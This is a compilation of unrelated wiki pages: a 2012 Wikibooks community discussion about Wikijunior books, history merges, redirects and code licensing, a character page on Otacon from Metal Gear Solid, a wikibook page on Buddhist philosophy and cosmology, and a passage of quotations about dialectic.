each page, I could link it to simple.wp instead, though I initially had reservations in doing so. - Theornamentalist (discuss • contribs) 16:05, 2 April 2012 (UTC)[] Thank you all again for the feedback; there is still work I plan on doing this week, but I wanted to know if the main Wikijunior page is reserved for books which are featured or are of a certain assumed level of completeness. As far as the book scope I intended (which was to assist with growing the seeds, I feel it is somewhat complete. However, with there literally being millions of plants to be grown, I don't feel comfortable marking it as complete with the {{status}} template nor even somewhat complete. I think that the tools and engine for this book are mostly complete, but not the breadth of it. I am going to expand a bit on each seed directions, and also the glossary, as well as give some general sources or "see also" links, but for the most part, I am satisfied with it. I would love to work with some other users on a new wikijunior book; is anyone interested or have any ideas? - Theornamentalist (discuss • contribs) 12:50, 5 April 2012 (UTC)[] Regardless of whether or not it's complete enough for the Wikijunior main page, your book should be listed at WJ:All Books. When we get a chance I expect we'll automate WJ:All Books, but for now it's still manual. Note that where your book goes on that page depends on its status, which it looks like you haven't defined yet. Though we generally wait until a book is useful (ideally, complete) before putting it on the WJ main page, how that translates into "status" may vary. For example, there's no reasonable doubt (imho) that WJ:The Elements belongs there, despite the number of elements not covered. I'd say your book should be brushed up just a bit, and then go up on the WJ main page. Looking at it, there are just one or two purely technical things I'd say really need to be cleaned up (hope I can get to that tonight or tomorrow); and I've got one suggestion for improvement I hope to discuss with you on the book's main talk page (and then if you've no objection we can act on that). --Pi zero (discuss • contribs) 18:52, 5 April 2012 (UTC)[] Hello everybody! It's great to be back here after so long :) I return with a lingering doubt about what is the better way to name book subdivisions. The ultimate source of my worries is that I would like to make such "meta" terminology uniform within the Haskell Wikibook, but it has a deeper structure than usual is making things trickier. If you go to its main page, you will see first there are three big coloured blocks in the table of contents. These, in turn, are divided in a few slices; and these slices contain the pages proper. Now, "module", which is the default Wikibooks term for the individual pages, is objected by contributors because there are things called modules in Haskell, and so it would sound strange to use the same word for the pages. Lately I have used "chapters" to talk about to the pages, so that "sections" can be used to refer to level 2 headers within them. Problem is, there are two other levels in the hierarchy... one of them might be spoken of as "units", but I'm not sure about what to do with other one. So, what options do I have? Cheers, --Duplode (discuss • contribs) 06:45, 5 April 2012 (UTC)[] In the Conlang book, units at all levels are called "sections", as I recall. Commonly, if a book has a small number of major units, they're called "Parts" (e.g. Beginner/Intermediate/Advanced), units below that level are Chapters, which are divided into Sections, which are divided into Subsections, Subsubsections, etc. I'm actually studying a purchased textbook atm in which the major units, that I'd have called Parts, are called Chapters. So there's a lot of flexibility in usage. --Pi zero (discuss • contribs) 11:03, 5 April 2012 (UTC)[] I had forgotten about two facts about the book. Firstly, two of the three larger divisions are already referred to as "Tracks" (as in "Beginner's Track"), so we could simply extend the nomenclature to the third one. That would leave "Units" for the intermediate divisions and "Chapters" for the pages. However, and secondly, there are several templates (navigation, etc.) which refer to the intermediate divisions as Chapters (just like your textbook). And there seem to be no regular contributors around with which I could discuss any possible changes... :( --Duplode (discuss • contribs) 00:45, 7 April 2012 (UTC)[] It's not uncommon for a given book to have only one person actively working on it at a given time. This was so for much of the time I was working most actively on Conlang. I always announced what I was doing on the talk pages, and if it was something especially significant I generally announced my intention and waited a while before acting on it (sometimes as much as a week, if I had the patience :-). If someone did come back later, they could read on the talk pages all about what I'd done (and that did, in fact, happen after I'd been working on it for a few months). --Pi zero (discuss • contribs) 01:02, 7 April 2012 (UTC)[] "If you build it, he will come". I will keep my hopes up, then :) [Loneliness really shouldn't be an excuse for me this time, however: I have a debt with that book.] --Duplode (discuss • contribs) 14:24, 8 April 2012 (UTC)[] When did the motto "open books for an open world" get adopted? I just noticed it. I liked the old one a lot better, whatever it was. I don't even remember what the old one was, but the new one makes me cringe. 67.117.131.84 (discuss) 08:30, 10 April 2012 (UTC)[] See here. There was a vote back in 2009. QU TalkQu 09:01, 10 April 2012 (UTC)[] I am in the process of writing a language; is it okay to make a Wikibook about it in the Constructed Languages section? It will not fits our project. You should check the Wikiversity project. --Panic (discuss • contribs) 23:48, 12 April 2012 (UTC)[] World Bank Announces Open Access Policy for Research and Knowledge, Launches Open Knowledge Repository "...adopting a Creative Commons Attribution (CC BY) copyright license for content published by the Bank, the most accommodating of all licenses offered by Creative Commons. It allows anyone to distribute, reuse, and build upon the Bank’s published work, even commercially, as long as the Bank is given credit for the original creation. The CC BY license helps the Bank to maximize its impact while simultaneously protecting the Bank's reputation and the integrity of its content.". The Creative Commons Attribution 3.0 is more permissive, compatible (they do not force the Share Alike requirement). (But since they may use other licenses do verify). http://openknowledge.worldbank.org/ They already have compatible works online even if by the article states July 1, 2012 as the date it becomes effective. I also take the chance to remember the post made in February regarding the The Open Textbook Challenge that also has usable content. --Panic (discuss • contribs) 20:03, 15 April 2012 (UTC)[] Assuming no objections are raised I will perform a merge of Haskell/Class declarations into Haskell/Classes and types in a few days. In order to avoid link rot, "Class declarations" (which currently has the bulk of the content) will be retained as a redirect. My questions, then, are: 1. Is it necessary/recommended to ask for a history merge in such a situation, or is it simpler to just cross-reference the involved pages in the edit summaries of the merge? 2. Does the history merge procedure imply the deletion of the source page of the merge? (That would mean I would have to recreate "Class declarations" as a redirect afterwards.) --Duplode (discuss • contribs) 00:32, 12 April 2012 (UTC)[] It is recommended to ask for history merges if indeed source material is to be deleted. Cross-reference is always welcomed just to make clear that the content that is being moved in bulk is from a merge. History merges imply the deletion of the source page(s) unless a request is made not to delete (in this case it is not categorized as a merge but a derivation). This cases are rare and should be carefully considered, since there is no point in Wikibooks hosting duplicated material (see the fork policy draft and discussion for the arguments). --Panic (discuss • contribs) 00:51, 12 April 2012 (UTC)[] I would disagree in this particular case, where you goal is to leave a redirect. By leaving a link to which ever page your merging from in the edit summary (or perhaps the talk page) your satisfying any copyright requirements that exist. Then changing "Class declarations" to a redirect requires no special tools and makes life simpler all around. Thenub314 (talk) 03:14, 12 April 2012 (UTC)[] That would imply that the administration would be perfect in checking history logs when deleting redirect page. That a redirect outside of the root namespace has any long lasting usefulness (unless it is included in the navigational structure of the work) and that the one doing the copying would also not make mistakes in referencing in the destination the source page and on the redirect that the content was moved. Overall doable, but highly risky and so the alternatives should be pursued, even if the redirect is what is intended. Easier on the one using the content and on the administration doing the deletions (and any future admin that has to handle the redirect). In this cases it is not even specifically about copyright issues but just to maintaining a consistent edit history log. There are many other benefits one is attempting to contact the ones responsible for some action, even helping detection and correction of malfeasance... --Panic (discuss • contribs) 04:21, 12 April 2012 (UTC)[] Well I think we will have to agree to disagree. From an administrative point of view I find redirects fairly easy to deal with. I find history merges often rather difficult. When done in error (which would not be the case here) they are very difficult to undo. Links are also more appropriate in many cases, such as one page merged into multiple places, etc. As I understand this was a major reason for changing the license so to alleviate the requirement of keeping a complete author list on every page. But I digress. Thenub314 (talk) 14:42, 12 April 2012 (UTC)[] I have no problem with that. But since we are discussing methodologies I must confess that I do not know how many merges you performed but as an editor I have done plenty. Never done history merges because I'm not an admin, but think you are over selling the complexity. When done in error merges are not difficult to undo, unless they are done in some sort of convoluted way, like the one you are proposing. In case you use content, from a single source page, into multiple target pages, you should select the one that closely matches the previous content/function and that, at the time of the merge, has the best chance for stability in the resulting merged project. That would be the best repository for the merged edit history. As the one performing the merge moves content from the source location he should add on the resulting edits' comment that the content is the result that merge (time of edits will suffice for later correlations). To undo a merge you must only determine what page was deleted and restore it. Look at it's history, see the time and read the merge comment/edit for the target of the merge. Go into the target look at edits near that time frame revert the content to the nearest possible and check edits from that user on that timeframe on all pages on that namespace (you can probably get a easy match in the user's contribution page). Note also that there are very few cases of complex merges and due to their complexity they are mostly performed by competent editors with some experience, they will often be available to help undo any action. I've been here since 2004 and never have observed reversing a merge. If one takes only the requirements of copyright attributions, reversing a merge is simply the splitting up of a work, in that case one should need only to mention that and give any required attributions to the copyright owners if listed, it will constitute a derived work, if both works will rest on the project the source (the merged work) edit history will provide all the edit information. --Panic (discuss • contribs) 18:12, 12 April 2012 (UTC)[] Well I will comment first that History Merges are notoriously difficult to undo, in some cases may be not possible. Let me explain how the merge/unmerge process works, because it is not quite as you describe above. Suppose we want to merge the history of A into B. First you delete B, then you rename A to B, then you delete B again, then you undelete all the edits from B. Then you correct the current version B. The consequence of this is that, no where in the database is there a list of edits that originally belonged to A. From the point of view of the database it is as if A never existed. So you cannot "determine what page was deleted and restore it". Instead to undo a history merge you must first delete B again, then undelete just those edits from B that corresponded original to A. Since this information doesn't exist anywhere outside of being deduced by the admin, you have to go through and examine every individual edit. It is very tedious. Then you move B to A. Then since there are still deleted edits left at the B page, you can undelete it again. I am pretty sure I have done this here at WB in the past, because I recall trying to tell two pages apart that were very similar to begin with and I found it very difficult to tell which edits originally belonged to A. Overall, of the tools available to an admin, history merges are the only bit of maintenance that is actually destructive in terms of preserving information (ie which edits originally belonged to A). To preform a history merge, you delete the target page. Move the old page to the target page name, and undelete everything. Which means you cannot ever go back to the old page name and undelete to look at it's history. That information is lost. You can only look at individual edits and try to decide for yourself what belongs to which page. Thenub314 (talk) 21:05, 12 April 2012 (UTC)[] Yes most people do not know these facts. I have made references to that loss of data when calling attention that edit histories may be corrupted (I have seen and called attention to that effects of those administrative actions on the C++ Programming project). I'm of the opinion, and have stated it before, that history merges should not be performed by the same administrator that is doing the content merge (or even working on the same project). This seems to be good ethical rule of thumb. That was why I also did not comprehend your approach as described in the posts above, it seemed that you were defending a history merge of the source page with multiple destination pages (in the previous post to the above) and to keep redirects with the edit history (in the first and second reply), that would just complicate tracing back the alterations because it can't be applied consistently. That was why see it as a more convoluted approach... I haven't seen a reversal of a merge. I have only noticed that type of actions as attempts correct administrative errors in handling page history logs, if my memory does not fail me, I think that your experience was also due to a mishap. --Panic (discuss • contribs) 23:29, 12 April 2012 (UTC)[] Amidst this conversation about history merges, I feel the key point is in Panic's second reply, which indirectly states that redirects are discouraged. While I found such a position a bit baffling at first, searching project pages led me to this illuminating discussion which lends support to it. By now I am inclined to ask for the history merge and forget about the redirect. Even though I will not be completely satisfied with the outcome (link breakage is always nasty, even if it is just on a handful of blogs and mailing list posts as in this case), it does seem to be the saner solution. P.S. : thanks for the clear explanation of history merges Thenub! --Duplode (discuss • contribs) 04:02, 13 April 2012 (UTC)[] If the link is relevant to the work you can ask the acting admin to preserve it after the history merge (add that to the merge request, ultimately it is up to the admin if it is a valid request). If the redirect is only used by links in talk pages you can ignore that if the post is over 30 days (or you can even fix it it you feel it is important), if it is used in other works or in the work you are merging then it is part of the merge process to fix those or the merge shouldn't be considered complete (because it will indeed break things). Looking into Special:WhatLinksHere/Haskell/Class_declarations that seems part of the merge process and a issue you will need to address (but for instance the links in this discussion become irrelevant after the task is complete). The Help:Pages#Merging is a great location to replicate some of the point made in this discussion. I'll try to take a careful look at it when time allows. --Panic (discuss • contribs) 04:40, 13 April 2012 (UTC)[] Glad to help! Thenub314 (talk) 16:15, 13 April 2012 (UTC)[] ┌──────────────────────────┘ A final idea to deal with my redirect paranoia worries: would it be acceptable if I "cheated" a little by: Asking for the history merge; Recreating "Class declarations" afterwards as a redirect; and Linking to it from a "meta" page such as Haskell/Preserved redirects, so that in the future admins will know it was retained for some reason? --Duplode (discuss • contribs) 23:41, 14 April 2012 (UTC)[] I have done the merge of the two pages for you. (No redirects) --Panic (discuss • contribs) 00:15, 15 April 2012 (UTC)[] Ok, stage one completed, thanks :)--Duplode (discuss • contribs) 00:24, 15 April 2012 (UTC)[] Merge concluded, thanks QU! --Duplode (discuss • contribs) 00:41, 17 April 2012 (UTC)[] Long ago, the Haskell Wikibook print version used to be generated in a semi-automatic way through a tiny Haskell script. I am currently working on improving it; and it would be really convenient to publish new versions of the script here, in a talk page of the book or something of that sort. Sounds great, until you think about licensing - as it is widely known, releasing code under CC licenses or GFDL is a Bad Idea. Is there any reasonable workaround in such a case? (Probably not, I guess, but worth asking anyway.) P.S. : One thing that might, in theory, solve the problem would be myself being granted uploader rights and then uploading the script as a "public domain" file. In practice, that wouldn't work due to the file extension restrictions, however... P.P.S. : It would be nice to know of similar situations in the past, if any. Also, please warn me if you feel I am being overzealous... --Duplode (discuss • contribs) 05:33, 17 April 2012 (UTC)[] The problem with the GFDL in software is that it really does not apply well and requires a copy of the license to be included. I do not know of any problem with the CC (and would like to ear your issues with it). When you contribute source code to Wikibooks it becomes licensed by the project wide coverage as CCSA30 and GFDL (with limitations, not relevant in this case). You can however state in the code that it is licensed with a less restrictive license like BSD, MIT or even as public domain. The GPL license may be more complex to handle (I haven't really looked into that) but it puts some burden on the use of software that can be seen as contradicting our project licenses (that does no posse any restrictions on use, only attribution and relicensing). IIRC there was (and may still be) some source code on the project that was GPL (I doubt that anyone will use it abusively but if they do they can get into copyright issues with the copyright owners of that code). In any case that is going beyond the point here. Solutions are as I indicate, ignore the project's licenses if you use a less restrictive license (or it is public domain, but be sure to state the license/copyright status) or upload it to a service that hosts that type of material and provide a link (sourceforce for instance). Uploading locally is an interesting concept but not necessary if it is easier to use one of the previous options, even if it could be interesting for incompatible licenses, for example a license that prevents commercial use. It could probably be explored but I don't think that Wikibooks is the right place to host source code. Feel free to explore that as a proposal if you wish, with good enough reasons I would probably support it. To my knowledge (I'm here since 2004) there has never been a discussion around this topic in these terms. I did initiate a similar discussion regarding programming books and the licenses of the source code included. Most code does not have a license indicated even if they are intentioned as public domain, they get license within the project with our licenses, making reuse problematic (especially at the time we only used the GFDL). My view, at times, is that near the copyright attribution of a work it should be clearly stated that if source code does not explicitly state a license it should be considered public domain. Of course this is simply for ease of mind, most code we have (or I have seen) is mostly trivial (but there are exceptions, for example the More C++ Idioms has complex examples and implementations that are explicitly copyrighted), then we have ASM books and Embedded System books that a very small code may be commercial relevant. This type of legal matters is one more thing that I get annoyed by Wikimedia's lack of proper guidelines, because what they provide serves only to legally protect them, not the contributors or the final users. In any case this is my general view, I'm not a lawyer. But the solutions above will suffice for your purpose. --Panic (discuss • contribs) 06:05, 17 April 2012 (UTC)[] PS: Why not include the script in the book itself as a practical example (in place of a talk page). That would be fun. --Panic (discuss • contribs) 06:14, 17 April 2012 (UTC)[] PPS: Since you are using transclusion in the print version. I note that there is a "silent" limit on the number (don't know if you have reached it, but look at the end of it to see if something is missing). I put this here so others became also aware of that limitation... --Panic (discuss • contribs) 06:23, 17 April 2012 (UTC)[] Frankly, I don't see the issue: of course, you can put things under a less restrictive license or into the public domain; see for example Wikimedia Commons. (And I agree with Panic that this should be stated explicitly; I'm doing it on every page of the GLSL Programming book because I know how annoying programming books are that put their code under a license.) I don't know why you would want to upload the Haskell script as a file and not include it as source code in wikitext? Is the typical Haskell programmer not able to use copy&paste? ;) --Martin Kraus (discuss • contribs) 06:25, 17 April 2012 (UTC)[] The only issue, it seems, was that my understanding of multi-licensing in Wikibooks was a bit broken, but you guys set the record straight (the main point being, if I understood it correctly, that the CCSA30/GFDL condition does not exclude redistribution under other compatible licenses). As for the practice of "hosting" code here, I agree that it is not a good idea in most cases. Still, IMO it makes sense for small, single-purpose tools that would be only of interest for contributors to a particular book (or readers of a book - fun suggestion indeed, Panic!). And conversely, if that tiny script eventually grows into something more general moving it elsewhere will be the sane thing to do. --Duplode (discuss • contribs) 07:08, 17 April 2012 (UTC)[] Almost. They do not exclude redistribution under other compatible licenses (if they are indicated). In case of public domain (the copyright is terminated), if you do not indicate it is public domain, because of the "not so smart" move to remove the obligation to add copyright notices it will be presumed as licensed under our license (this may seem unimportant, but in a world that no one speaks for public domain it is important that all public domain has an indication of what it is. As soon as anyone has the only copy of a public domain work they can own the copyright (or if scarce and badly documented they can litigate for control over those that object to the new ownership). Trivia: Most Open Source licenses were created because (but not exclusively) of this. -Panic (discuss • contribs) 07:27, 17 April 2012 (UTC)[] You could maintain the script at User:Duplode/PrintVersion.hs, link to the script at Talk:Haskell, and use the CC0 license to possibly avoid any concerns with public domain. --darklama 13:26, 17 April 2012 (UTC)[] Suggestion adopted. --Duplode (discuss • contribs) 15:55, 17 April 2012 (UTC)[] I was working on an article. Since I'm an incremental editor, and since wikibooks is moderated, I placed the page contents in my sandbox, so the moderator wouldn't be bothered with my flood of incremental edits. This morning I decided to remove all content from my sandbox, seeing how it was supposed to be temporary. I received the following message: "Warning: An automated filter has identified this edit as removing all categories from a page, which is potentially unconstructive. Please be aware that vandalism may result in revocation of your editing privileges. If this edit is constructive, please click "Save page" again, and report this error." Is this message correct? Can editing privileges be revoked for editing my own sandbox? Gzuufy (discuss • contribs) 16:53, 20 April 2012 (UTC)[] Editing privileges won't be revoked for editing your own sandbox. Looks like that needs to be fixed. --darklama 17:14, 20 April 2012 (UTC)[] Thank you. Gzuufy (discuss • contribs) 17:31, 20 April 2012 (UTC)[] I call the community's attention that since Wikimedia Commons does not support fair use content, when generating a PDF to be hosted on Commons you will have to exclude fair use images from the PDF. If someone is active on the Commons community please replicate this note so they can help identify any violation of their licensing policies. Of course an exact copy of the published revision work can be hosted here without such concerns. --Panic (discuss • contribs) 19:14, 22 April 2012 (UTC)[] For a long time I thought no pages were being reviewed by readers. Because the page: Special:RatedPages doesn't show any. But then it was pointed out to me by QU that the main page has something on the order of 160 reviews in the past month. So the question becomes why is this not showing up as a rated page, and why is there not Page Rating system claim there is not enough data to graph? Notice, that the extension we are now using is considered obsolete, and has been replaced by the Article Feedback Extension. My questions are as follows: Is it a configuration issue that keeps this data from being graphed and displayed, or is it a bug in the extension? Thenub314 (talk) 22:24, 25 April 2012 (UTC)[] We really should look into implementing the replacement extension and not continuing to use and troubleshoot an extension that will not be maintained. – Adrignola discuss 00:24, 26 April 2012 (UTC)[] In updating World Stamp Catalogue/United States/2011, I added an image of File:Ronald Reagan stamp 2011.jpg from wikipedia. It was promtly removed because of a "copyright violation." I don't understand. If it is on Wikipedia then why is it a copyright violation to put it in Wikibooks? How can I get images of stamps into World Stamp Catalogue/United States without a copyright violation? — Preceding unsigned comment added by Ggreve (talk • contribs) By default, when you upload an image on Wikibooks, it is really uploaded at Wikimedia Commons. When it comes to images and other media, they are a lot better at policing copyright issues than we are. However, they do not allow non-free (i.e., fair use) media at WM Commons, which is why they deleted it (according to the WP page, the USPS holds the copyright). We do allow fair use materials at WB (as does WP), but we control access to the upload feature. You can either request the upload capability at WB:RFP (but you'll have to demonstrate an understanding of the issues involved), or you can request that the image be uploaded for you. Actually, you already have kind of done that, so I will upload it shortly. --Jomegat (discuss • contribs) 18:46, 27 April 2012 (UTC)[] Done You should be able to use the image now. --Jomegat (discuss • contribs) 18:50, 27 April 2012 (UTC)[] I would invite anyone who is interested to look at the Wikibook I'm working on, Wikijunior:Countries A-Z, and give me some feedback on ways to improve it. Thanks, Liam987 15:12, 26 April 2012 (UTC)[] well, can I?--Deathlaser (discuss • contribs) 20:46, 30 April 2012 (UTC)[] In general Wikiversity is the optimal location for that type of content. --Panic (discuss • contribs) 21:00, 30 April 2012 (UTC)[] Unless you mean a Wikibooks namespace essay, then there are a few. The "policy" is at Wikibooks:Essays QU TalkQu 21:04, 30 April 2012 (UTC)[]
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Dr. Hal Emmerich, nicknamed Otacon, is an American weapons designer and computer hacker who functions as a Q-like sidekick to Solid Snake, usually giving him support via codec. Otacon is first introduced in Metal Gear Solid as the designer of Metal Gear REX, and is being held captive at the outset on Shadow Moses Island. After Snake rescues him, he joins the FOXHOUND team and guides Snake through the process of disarming and destroying Metal Gear. He also becomes infatuated with FOXHOUND member Sniper Wolf while in captivity and is crushed when she is later killed in battle by Solid Snake. During the cutscene where Snake reveals Metal Gear's true purpose, Otacon says nuclear weapons must be written into his genes. Genetics being a major theme of Metal Gear solid. He then reveals that his grandfather worked on the Manhattan Project and his father was born on August 6, 1945, the day Hiroshima was bombed. In Metal Gear Solid 2, Otacon and Solid Snake form Philanthropy, an anti-proliferation organization. Otacon supports Snake via the radio as he infiltrates a converted tanker to photograph Metal Gear RAY, and later, supports Snake and Raiden as they infiltrate the Big Shell in a bid to rescue his foster sister, Emma, while attempting to destroy Arsenal Gear. Later on in the game, Emma is killed by Vamp. Lead character designer Yoji Shinkawa stated in an interview that Otacon is designed to look somewhat "tougher" than he did in Metal Gear Solid. Though Otacon himself does not appear in Metal Gear Solid 3: Snake Eater (the game being set in the 1960s), his grandfather (also a scientist) is mentioned in conversation between Naked Snake and Sigint and also appears in a photograph alongside Russian weapons designer Aleksandr Leonovitch Granin. Otacon also appears in Metal Gear Solid 4: Guns of the Patriots trailers, still supporting Solid Snake as a member of Philanthropy. In early trailers, he's remote controlling a robot reminiscent of the Metal Gear Mk. II from an earlier Hideo Kojima directed game, Snatcher. Williamson, Colin, Yoji Shinkawa interview, 12 December 2000, accessed 1 January 2007 [1]
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What is Buddhist Philosophy gives an introduction to some key points developed here. Buddhism will be explored from some of its less known attributes: Its influence on medicine and healing. Buddhist Cosmology. The teachings of Buddhist rasayana. The development of a secular religion. Non theistic ethics and morality Buddhism often traces its religious foundation to the life and inspiration of the Shakyamuni Buddha. Buddhism has been associated with peacefulness towards others, including animals (especially the monkey), and an emphasis on meditation. Many words originally largely associated with Buddhism are now part of Western usage, for example: Zen, karma, mantra, nirvana. The semi-mythological nature of the Buddha's life is also reflected in many Sufi tales of princes who gave up their kingdoms to follow paths of spiritual unfolding, although these stories are much much later and as such were probably influenced by the Buddha story (for an important academic analysis of the Buddha story, see 'Suttas as History' by Jonathan Walters in History of Religion, University of Chicago). The Buddha was born to the ruler of a small kingdom in Nepal and led a sheltered life. After seeing the four signs, he resolved to leave his life of ease and find the cause of overcoming of dissatisfaction or dukkha. After study, ascetic and meditative practices, the Buddha developed an understanding or realization. The rest of his life was spent in transmitting this realization. Buddha expressed his philosophy when he said: "I teach only two things, O disciples, the fact of suffering and the possibility of escape from suffering." Buddha inspired the famous "Four Noble Truths" and "Eightfold Path," which allows people to achieve nirvana. What is nirvana? Before this is answered, you must understand the concept of karma. Buddhist Philosophy states that everything is subject to the law of karma. Buddha taught that positive actions build up karma, and negative ones detract from it. Buddhists try to achieve good karma, and free themselves from bad karma by living a morally sound life, and by following Buddhism. Nirvana is the state of being free from mental defilements (klesha), which are chiefly hate, desire and ignorance; ignorance being the cause of all of them. With the cessation of kleshas, all forms of suffering cease, and a state of bliss and equanimity is attained. According to Buddhist philosophy, life is part of a cycle of suffering called Samsara. If one achieves good karma, and follows the Four Noble Truths and the Eightfold Path, then this cycle will end, and rather than being subject to the law of karma, they will be free of it, and will live in a state of eternal happiness. The Buddha led a leisured and protected life within a royal palace and fathered a child. When he, against advice, left the palace, he encountered four signs of human suffering: An old person A sick person A dead person A wandering ascetic Siddartha was affected by what he saw, and resolved to find out why there was suffering, the cause of the suffering, and how to end one's suffering. The Sanskrit word "karma" literally means "action". Hetu is the Sanskrit for "intention" and phala designates "effect". Karma may be either "positive" or "negative" and both categories of actions have their respective effect. Existence entails discomfort, or suffering. (dukkha) All worldly life is unsatisfactory and disjointed. The cause of this (dukkha) is attachment, craving or desire. (tanha) The cessation of dukkha (Nirodha) There is a way out of suffering, which is to eliminate attachment and desire. The way leading to the cessation of dukkha (Marga): The path that leads out of suffering is called the Noble Eightfold Path Buddha taught that in order to achieve nirvana (Nirodha), man must free himself from his ego, and give up all desires. Buddha claimed that by having so many desires (such as wanting pleasure, wealth, happiness, security, success, long life, etc. ), man condemns himself to suffering, and will never escape the cycle of rebirths. Buddhism believes that suffering is self-created. Four leading Western Buddhist teachers each explore the meaning of one of The Four Noble Truths for the contemporary audience. - [1] Right View/Understanding Right Thoughts Right Speech, abstaining from lying, from divisive speech, from abusive speech, & from idle chatter. (Sutta Nipata 45.8) Right Action, abstaining from taking life, abstaining from stealing, abstaining from unchastity. (Sutta Nipata 45.8) Right Livelihood, there is the case where a disciple of the noble ones, having abandoned dishonest livelihood, keeps his life going with right livelihood (Sutta Nipata 45.8). Basically this means not selling guns, living creatures, poisons, and others which may harm any being. Right Effort Right Mindfulness Right Concentration, meditation The crowning achievements of the Buddha were The Buddha ~ His lifetime of gaining wisdom, understanding and awakening The Teaching (Dharma) ~ The oral teachings and transmission The Community (Sangha) ~ The group of awoken teachers or disciples of the Buddha Buddhism knows about 31 types of realms, where beings lived. Human realm is one of the 31 realms, where human (manussa bhumi) is included in the happy realms (sugati bhumi). The realms are divided into four main divisions, which are The suffering realms (apaya bhumi), consists of the Hell (niraya), the asura, the peta, and animals. Beings are being reborn here because of their bad actions in their past lives. The happy realms (sugati bhumi) or the realms of sense (kama bhumi), which consists of the human realm and the six realms of gods (the meaning of 'god' should be distinguished with the meaning of 'God'). Beings are being reborn here as the result of their good deeds (mainly by practicing generosity, self-constraint/virtue, and meditation). The form realms, where beings who have successfully practiced meditation to the level of rupa-jhana are being reborn. The formless realms, where beings who have successfully practiced meditation to the level of arupa-jhama are being reborn. The six realms are the six possible states of existence for sentient beings. There is an immense variation in the beings of each realm, but these beings will all share certain characteristics. We re emerge in these states according to our karma. The 'lower realms' is a term used to refer to the states of hell, hungry ghosts (pretas) and animals. These three states are severely restrictive in the ability of a sentient being trapped in them to attain liberation, and because of this their suffering in Samsara is prolonged. The most basic reason for refuge is to attain a dwelling that avoids these realms. These are the realms of existence inhabited by the devas ('shining ones'), and are marked by experiences of bliss and pleasure for long period of time. This is separated into two main states of existence - that of form and that of no-form. The deva realms are correlated to the eight jhanas/dhyanas, which are eight distinct meditative states. The first four of which are marked by an awareness of form - such as the mediator's body, and the last four are entirely mental experiences, where sensory input to the material senses is no longer felt. Beings gain rebirth in these realms by a combination of right conduct and/or deep meditative experience during life. Beings in such a realm have immense lifespans, especially in the higher states, and their perception of time is similarly different to humans - with their perception of a 'day' sometimes thousands of human years. Being reborn in such a state is seen as being ultimately useless since it is temporary, and there is no apparent reason to work towards liberation from Samsara. When the karma of a sentient being living in such a state begins to run out, they usually have very little merit relating to pleasurable existences remaining in their mind-stream, and are usually born in one of the three lower realms. As they die, they become clearly aware of this, and such an experience is said to be worse than all the suffering that could be experienced in any of the other realms. Buddha Level: The Life of the Father, Conflict between duty and resolution, the four signs to put it in the words of Orson Wells/Graham Greene "In Italy, for thirty years under the Borgias, they had warfare, terror, murder and bloodshed, but they produced Michelangelo, Leonardo da Vinci, and the Renaissance. In Switzerland they had brotherly love, they had five hundred years of democracy and peace, and what did they produce? The cuckoo clock." Orson Welles in The Third Man "For thirty years people have been asking me how I reconcile X with Y! The truthful answer is that I don't. Everything about me is a contradiction and so is everything about everybody else. We are made out of oppositions; we live between two poles. There is a philistine and an aesthete in all of us, and a murderer and a saint. You don't reconcile the poles. You just recognize them." [To Kennety Tynan, 1967] Human Development: Toddler Buddha Level: Training the Buddha The main passions of Mohammad were women and perfumes. This realm is about the patterns of instinct, the needs of the animal. For food, and interaction. It is interesting that some systems utilize this realm as a source of wisdom and inspiration. Acknowledgement is part of the key rather than denial, asceticism or willful denial or indulgence that is the Middle way characterized by stupidity and servitude Human Development: Teenager Buddha Level: Trained and nowhere to go There is a wonderful story of a (I think it was a PureLand Buddhist Master) who had a disturbing dream In the dream, the Master saw himself in the God Realm He called his fellow monks together and with tears in his eyes recounted the portent dream pleading they pray that he be sent to the hell realms to rescue the beings dwelling there. A true Bodhisattva. wracked by torture and characterized by aggression Human Development: Young adult Buddha Level: The extreme ascetic characterized by great craving and eternal starvation' Human Development: Mature adult Buddha Level: The world transformed Beings who are both good and evil; enlightenment is within their grasp, yet most are blinded and consumed by their desires Human Development: Matured adult7
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Dialectic (also dialectics and the dialectical method) is a method of argument for resolving disagreement that has been central to European and Indian philosophy since antiquity. The word dialectic (διαλεκτική) originated in ancient Greece and was made popular by Plato in the Socratic dialogues. The dialectical method is discourse between two or more people holding different points of view about a subject, who wish to establish the truth of the matter guided by reasoned arguments. Arranged alphabetically by author or source: A · B · C · D · E · F · G · H · I · J · K · L · M · N · O · P · Q · R · S · T · U · V · W · X · Y · Z · See also · External links Every careful method consists of two parts: one of inventing and one of judging. The Stoics have developed with great diligence the ways of judging, and that by means of the science they call dialectic; the art of inventing, which is called topic, ... they have completely neglected. Cicero, Topica, § 2.6, cited in Ernesto Grassi, Rhetoric as Philosophy (1980), p. 43 We must not think of the problem in terms of a choice between being determined and being free. We must look at it dialectically, and say that man is indeed determined, but that it is open to him to overcome necessity, and that this act is freedom. Freedom is not static but dynamic; not a vested interest, but a prize continually to be won. The moment man stops and resigns himself, he becomes subject to determinism. He is most enslaved when he thinks he is comfortably settled in freedom. Jacques Ellul, The Technological Society (1964), p. xxxiii A law which excludes all dialectic and all reconciliation; which establishes, consequently, both the flawless unity of knowledge and the uncompromising division of tragic existence; it rules over a world without twilight, which knows no effusion, nor the attenuated cares of lyricism; everything must be either waking or dream, truth or darkness, the light of being or the nothingness of shadow. Michel Foucault, Madness and Civilization, R. Howard, trans. (1988) What Kant regarded as a unique (Copernican) turn to transcendental reflection becomes in Hegel a general mechanism for turning consciousness back upon itself. This mechanism has been switched on and off time and time again in the development of spirit. As the subject becomes conscious of itself, it destroys one form of consciousness after another. This process epitomizes the subjective experience that what initially appears to the subject as a being in itself can become content only in the forms imparted to it by the subject. The transcendental philosopher’s experience is thus, according to Hegel, reenacted naively whenever an in-itself becomes a for-the-subject. What Hegel calls “Dialectical” is the reconstruction of this recurrent experience and of its assimilation by the subject, which gives rise to ever more complex structures. ... Hegel, it should be noted, exposes himself to a criticism. ... Reconstructing successive forms of consciousness is one thing. Proving the necessity of their succession is quite another. Jürgen Habermas, Moral Consciousness and Communicative Action (C. Lenhart and S. Nicholsen, trans.) Cambridge: 1995), p. 5 Socrates splits himself into two, so that there are two Socrates: the Socrates who knows in advance how the discussion is going to end, and the Socrates who travels the entire dialectical path along with his interlocutor. Pierre Hadot, Philosophy as a Way of Life, trans. Michael Chase (1995), p. 153 No criticism can be brought against a branch of technical science from outside; no thought fitted out with the knowledge of a period and setting its course by definite historical aims could have anything to say to the specialist. Such thought and the critical, dialectical element it communicates to the process of cognition, thereby maintaining conscious connection between that process and historical life, do not exist for empiricism; nor do the associated categories, such as the distinction between essence and appearance, identity in change, and rationality of ends, 